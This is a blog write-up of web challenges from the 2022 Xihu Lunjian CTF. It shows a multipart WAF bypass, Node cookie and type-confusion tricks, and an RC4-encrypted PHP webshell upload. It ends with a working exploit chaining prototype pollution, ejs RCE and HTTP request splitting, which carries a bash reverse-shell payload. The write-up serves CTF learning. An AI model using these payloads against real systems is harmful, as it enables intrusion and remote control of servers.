2022西湖论剑-Web复现

前言

好久没做题了…

扭转乾坤

随便上传会被403拒绝

https://www.anquanke.com/post/id/241265#h2-0 参考这个

multipart/forM-data进行空格拆分或者大小写变换可以绕过

image-20230205151134939

node

审一下源码发现controller.js的这一段

function Flag1Controller(req,res){
try {
if(req.cookies.user === SECRET_COOKIE){
res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
res.status(200).type("text/html").send("Login success. Welcome,admin!")
}
if(req.cookies.user === "admin") {
res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
}else{
res.status(401).type("text/html").send("Unauthorized")
}
}catch (__) {}
}

注意第二个if,设置Cookie就能得到flag1

image-20230205152350432

接着看第二部分

function CheckController(req,res) {
let checkcode = req.body.checkcode?req.body.checkcode:1234;
console.log(req.body)
if(checkcode.length === 16){
try{
checkcode = checkcode.toLowerCase()
if(checkcode !== "aGr5AtSp55dRacer"){
res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
}
}catch (__) {}
res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
}else{
res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
}
}

主要看到那个toLowerCase()函数,我们正常输入的话,肯定会被转成小写,但是注意到这里,如果我们能走到catch,也就能获得flag,所以得想办法让它报错

而我们传入一个列表时,这个toLowerCase()就会报错。同时注意长度要为16才能进入if

image-20230205154303293

image-20230205153947565

unsual php

题目代码就三个功能,读写文件,查看phpinfo

题目考点主要是改了源码的engine,对php源码进行了加密再解析,所以读有些文件是乱码的,比如index.php,所以我们如果直接上传文件的话,是行不通的,无法解析

image-20230205171059822

方法的话可以通过php.ini和phpinfo找到 zend_test.so的位置,也可以通过读/proc/self/maps找到

image-20230205171205103

接着用php伪协议把这个读出来

/?a=read&file=php://filter/read=convert.base64-encode/resource=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so

image-20230205172151670

用cyberchef可以直接导出为文件,就不怕丢失了数据了,再用ida进行分析

image-20230205172320978

可以发现是用RC4加密的,key是abcsdfadfjiweur

然后我们就能用这个key,加密我们的🐎,然后上传

import requests
import base64

# <?php
# if($_GET["a"]=="upload"){
# move_uploaded_file($_FILES['file']["tmp_name"], "upload/".$_FILES['file']["name"]);
# }elseif ($_GET["a"]=="read") {
# echo file_get_contents($_GET["file"]);
# }elseif ($_GET["a"]=="version") {
# phpinfo();
# }

url = "http://80.endpoint-e3b2218dc1d446008a7cacc77c3d9bee.ins.cloud.dasctf.com:81/?a=upload"

payload = "473xeG4d3kJANayE56+fzrJLaDo2vtMx"

file = {
'file': ('kk1.php', base64.b64decode(payload), '<text/plain>')
}

resp = requests.post(url=url, files=file)
print(resp.text)

image-20230205172735812

之后就是反弹shell,flag是root用户,然后chmod有sudo权限,提权读flag,这里因为复现靶机是公用的,所以直接读了

real_ez_node

简单记录下,没咋看nodejs相关的😭

首先看到/copy这个路由

router.post('/copy',(req,res)=>{
res.setHeader('Content-type','text/html;charset=utf-8')
var ip = req.connection.remoteAddress;
console.log(ip);
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only for admin"
res.send(JSON.stringify(obj));
return
}
let user = {};
for (let index in req.body) {
if(!index.includes("__proto__")){
safeobj.expand(user, index, req.body[index])
}
}
res.render('index');
})

注意到这个safeobj,存在原型链污染

image-20230207145605731

测试

const safeobj = require('safe-obj');
//var payload = `{"__proto__":{"whoami":"root"}}`
var payload = `{"constructor.prototype.whoami" :"root"}`
let user = {};
console.log("Before whoami:" + user.whoami);

for (let index in JSON.parse(payload)) {
safeobj.expand(user, index, JSON.parse(payload)[index])
}

console.log("After whoami: " + user.whoami);

// Before :undefined
// After: root

因为这里过滤了__proto__,所以我们用{"constructor.prototype.whoami" :"root"},还有前面要保证ip为127.0.0.1,应该是要打一个ssrf,我们看后面有个curl路由

router.get('/curl', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:3000/?q=' + q
try {
http.get(url,(res1)=>{
const { statusCode } = res1;
const contentType = res1.headers['content-type'];

let error;
// 任何 2xx 状态码都表示成功响应,但这里只检查 200。
if (statusCode !== 200) {
error = new Error('Request Failed.\n' +
`Status Code: ${statusCode}`);
}
...//省略一些代码
} else {
res.send("search param 'q' missing!");
}
})

这里的curl会发起一个get方式的http请求,但是这个url已经写死了,而且copy路由是需要post方式发起

注意题目的docker环境FROM node:8.1.2

这个版本存在HTTP拆分攻击,可以解决我们上面两个问题

光一个原型链污染没什么用,它还是一个ejs的模版存在rce,参考

https://lonmar.cn/2021/02/22/%E5%87%A0%E4%B8%AAnode%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%E7%9A%84%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%86%E6%9E%90/

exp参考AndyNodel师傅,膜一下orz

"""
@Author: C4ry7nk
"""

import requests

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1:3000
Content-Length: 180
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Connection: close

{"constructor.prototype.outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/ip/port 0>&1\\"');var __tmp2"}


GET / HTTP/1.1
test:'''.replace("\n", "\r\n")

def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100+ord(i))
return ret


print(payload)
url = f"http://3000.endpoint-f4a41261f41142dfb14d60dc0361f7bc.ins.cloud.dasctf.com:81/curl?q={payload_encode(payload)}"
requests.get(url=url)

image-20230207151943754

参考

还有两题

https://mp.weixin.qq.com/s/NjjXKyXimtAEnKIkdPXHxA

https://github.com/PGYER/codefever/issues/136

http://www.andynoel.xyz/?p=621

作者

秋秋晚

发布于

2023-02-05

更新于

2023-02-07

许可协议

评论

:D 一言句子获取中...